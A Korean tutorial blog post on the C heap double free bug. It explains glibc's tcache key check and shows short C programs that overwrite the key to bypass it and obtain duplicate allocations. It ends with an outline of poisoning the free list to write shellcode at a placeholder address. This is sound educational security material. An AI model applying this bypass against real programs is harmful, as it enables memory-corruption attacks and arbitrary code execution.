오늘은 C/C++와 같이 프로그래머가 직접 메모리 관리를 하는 언어에서 발생하는 Double Free Bug에 대해 알아보겠습니다.
Double Free 버그는 동적 할당된 메모리를 두 번 이상 해제할 때 발생하는 메모리 손상 취약점입니다.
운영체제의 메모리 관리자는 프로그램이 요청한 chunk를 관리합니다. 이때 해제된 메모리 블록리 블록이 'free list'에 추가됩니다.
이때의 free list의 다음/이전 블록을 가리키는 fd,bk을 가리키는 메모리 관리용 포인터가 저장될 수 있습니다.
두번째 free일때 (동일한 ptr을 다시 해제), 메모리는 블록이 이미 free list에 있음에도 다시 free list에 추가하려 시도하는데 이때 Double Free Bug가 발생합니다.
이 취약점이 심각한 이유는 공격자가 첫 번째 free 이후 해제된 메모리 영역에 악의적인 값을 써넣을 수 있다면, 두번째 free가 발생할 때 힙 관리자가 이 값을 참조하게 만들 수 있습니다.
이것은 즉 원하는 메모리 주소에 원하는 값을 쓸 수 있게 가능해지고, 원하는 셸코드 실행이 가능함을 의미합니다.
#include <stdio.h>
#include <stdlib.h>
int main(){
char *chunk;
chunk = malloc(0x50);
printf("Address of chunk: %p\n", chunk);
free(chunk);
free(chunk);//Double Free Bug 발생지점
}
위의 코드에서 두번째 free에서 버그가 발생합니다.
gcc로 컴파일하고 실행해보겠습니다.

tcache에 대한 double free bug가 감지되어 프로그램이 비정상 종료되는 것을 확인할 수 있습니다.
glibc 2.29 이후 tcache 청크 구조에 key라는 포인터 필드가 추가되었는데 이 key 필드는 DFB를 탐지하는 데 사용됩니다.
대략적인 키 탐지 과정은 다음과 같습니다.
1. 첫 번째 free(A) :
- A 청크가 tcache의 free list에 들어감
- A 청크의 key 필드에 tcache_perthread_struct란느 전역 구조체의 주소가 저장됨
- A->key = tcache_perthread_struct_ptr
2. 두 번째 free(A) (공격 시도):
- free() 함수는 청크를 tcache에 넣기 전에 DFB 검사를 수행
- if (A->key == tcache_perthread_struct_ptr)
- 위의 검사를 통해 A->key에 주소가 저장되어있는 것을 확인한 뒤, Double Free시 프로그램 즉시 종료
이 때 key 값 변조를 통해 두번째 free()가 호출되기 전 변조를 성공하면 우회가 가능합니다.
아까 위의 코드에 키를 우회하는 코드를 추가해보겠습니다.
#include <stdio.h>
#include <stdlib.h>
int main(){
char *chunk;
chunk = malloc(0x50);
printf("Address of chunk: %p\n", chunk);
free(chunk);
*(char *)(chunk + 8) = 0xff; //키 우회
free(chunk);//Double Free Bug 발생지점
printf("First allocation: %p\n", malloc(0x50));
printf("Second allocation: %p\n", malloc(0x50));
return 0;
}
실행한 결과는 다음과 같습니다.

이렇게 동일한 주소가 두 번 반환되었으면, Tcache Duplication 공격이 성공한 것이고, DFB 방어 로직 우회에 성공한 것입니다.
이때의 공격 시나리오입니다.
- 첫 번째 청크(A)를 할당받는다.
char *victim1 = malloc(0x50); - 청크 A의 내용을 조작하여 Free List를 오염시킨다.
// 공격자가 원하는 임의의 주소 (예: 특정 함수의 주소, 0x12345678) long long target_address = 0x12345678; // victim1의 첫 8바이트 (next 포인터)를 덮어쓴다. *(long long *)victim1 = target_address; - 두 번째 청크(A)를 할당받는다.
char *victim2 = malloc(0x50); - malloc이 임의의 주소를 반환하도록 한다.
char *arbitrary_ptr = malloc(0x50); - 임의 쓰기를 진행해서 원하는 코드를 작성한다.
char shellcode[] = ""
// arbitrary_ptr (즉, 0x12345678)에 셸코드를 쓴다.
strcpy(arbitrary_ptr, shellcode);
오늘 포스팅에서는 Double Free Bug에 대해 배우고 보호기법인 key를 우회하는 실습을 해봤습니다.
다음에는 이 Double Free Bug를 통해 발생하는 공격 시나리오에 대해 더 깊게 알아보도록 하겠습니다.
읽어주셔서 감사합니다~
'취약점분석 > Pwnable' 카테고리의 다른 글
| [Pwnable] tcache_poison write-up (0) | 2025.11.06 |
|---|---|
| [Pwnable] Tcache Poisoning (0) | 2025.11.05 |
| [Pwnable] uaf_overwrite write-up (0) | 2025.10.28 |
| 리눅스 패스워드 크래킹 실습 (John the Ripper ) (0) | 2025.10.16 |
| [Pwnable] UAF (Use-After-Free) (0) | 2025.10.12 |